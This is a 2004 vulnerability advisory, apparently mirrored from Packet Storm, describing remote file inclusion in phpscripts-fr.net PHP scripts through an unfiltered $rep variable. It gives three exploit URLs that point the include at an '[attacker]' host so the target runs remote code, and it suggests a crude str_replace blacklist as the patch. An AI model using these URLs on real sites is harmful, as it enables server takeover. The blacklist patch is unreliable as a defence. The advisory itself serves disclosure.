Lucene search
K

phpscripts.txt

🗓️ 03 Feb 2004 00:00:00Reported by security-challenge.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

PHP scripts vulnerable to include file exploits; patch by filtering variables appropriately.

Code
`  
  
Informations :   
  
°°°°°°°°°°°°°°   
  
Website : http://www.phpscripts-fr.net  
  
Version : all  
  
Problem : Include file   
  
  
  
  
  
  
  
PHP Code/Location :   
  
°°°°°°°°°°°°°°°°°°°   
  
config/fonctions.lib.php  
  
derniers_commentaires.php  
  
admin.php   
  
------------------------------------------------------------------   
  
if (!isset($rep)) $rep = './';  
  
require_once($rep.'config/fonctions.lib.php');  
  
require_once($rep.'langues/'.$langue.'.lang.php');  
  
------------------------------------------------------------------   
  
  
  
  
  
  
  
  
  
Exploit :   
  
°°°°°°°°°   
  
http://[target]/config/fonctions.lib.php?rep=http://[attacker]/file.ext%3f  
  
http://[target]/derniers_commentaires.php?rep=http://[attacker]/file.ext%3f  
  
http://[target]/admin.php?rep=http://[attacker]/file.ext%3f  
  
  
  
  
  
(the same but in local with = /langues/'.$langue.'.lang.php )  
  
  
  
  
  
Patch :   
  
°°°°°°°   
  
You must to put a filter on the variable $rep and $langue.  
  
like=  
  
$rep= str_replace("..","lol",$rep);  
  
AND  
  
$rep= str_replace("://","lol",$rep);  
  
(same with $langue)  
  
  
  
Nourredine Himeur  
  
  
  
www.security-challenge.com  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Feb 2004 00:00Current
7.4High risk
Vulners AI Score7.4
22